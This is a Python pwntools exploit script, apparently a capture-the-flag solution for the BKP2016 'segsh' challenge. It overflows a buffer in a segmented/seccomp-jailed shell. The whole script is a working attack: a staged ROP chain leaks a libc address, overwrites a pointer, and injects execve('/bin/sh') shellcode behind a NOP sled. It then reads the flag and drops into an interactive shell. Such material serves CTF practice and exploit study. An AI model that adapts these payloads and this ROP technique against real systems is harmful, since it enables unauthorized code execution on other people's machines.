BKP2016 segsh
theme: BOF inside segmentation/seccomp jail.
from pwn import *
import time, random, string
context.arch = 'i386' # i386 / arm
def RSTR(N):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
# recvuntil sendline, pack, recv, send
r = remote('segsh.bostonkey.party', 8888)
#r = process(['./segsh2'])
raw_input('attach')
# start pwn.
'''
data : 0x10000 ~ 0x12000
stack : 0x8000 ~ 0x10000
code : 0x0 ~ 0x2000
'''
shellcode = "\x31\xD2\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\x31\xC0\xB0\x0B\xCD\x80"
SHLEN = len(shellcode)
OFFSET = 0xb000 + 0x1aa000
PRET = 0xfaf4
LEAVERET = 0x4b
CS_EXIT = 0xb
CS_READ = 0x6f
CS_WRITE = 0x4d
SLED = '\x90'*(0x400-len(shellcode)) + shellcode
print hex(len(SLED))
# stage 1 : leak address
payload = '1'*1016
payload += p32(0x11c000) # ebp
payload += p32(CS_WRITE) # start ROP
payload += p32(0) # 2nd ret
# arguments
payload += p32(0x10000 + OFFSET)
payload += p32(0x700)
# stage 2 : overwrite LIBC
payload2 = '2'*1016
payload2 += p32(0x11d000) # ebp
payload2 += p32(CS_READ) # start ROP
payload2 += p32(0) # process next payload
# arguments
payload2 += p32(0x10000 + OFFSET + 0x400) # RWX memory
payload2 += p32(0x10)
# stage 3 : put shellcode
payload3 = '3'*1016
payload3 += p32(0x11a000) # ebp
payload3 += p32(CS_READ) # start ROP
payload3 += p32(CS_EXIT) # 2nd ret
# arguments
payload3 += p32(0x10000 + 0x2000)
payload3 += p32(0x400)
# start pwn
print r.recvuntil('__')
r.sendline('install -i echo')
print r.recvuntil('__')
r.sendline('exec -e echo')
print r.recvuntil('string: ')
r.sendline(payload)
leak = r.recvuntil('string: ')
print leak
addr = int(leak[-75:-71][::-1].encode('hex'), 16)
print hex(addr)
shell_addr = addr - 0x1B3600
# 3rd input
LIBC = '4'*0x8
LIBC += p32(shell_addr)
LIBC += '5'*(0x10 - len(LIBC))
r.sendline(payload2)
time.sleep(0.2)
r.send(LIBC)
time.sleep(0.2)
print r.recv(10000)
r.sendline(payload3)
time.sleep(0.2)
r.send(SLED)
print r.recv(100000)
r.sendline('install -i hello')
r.sendline('cat /home/segsh/flag')
print r.recv(10000)
# get shell?
r.interactive()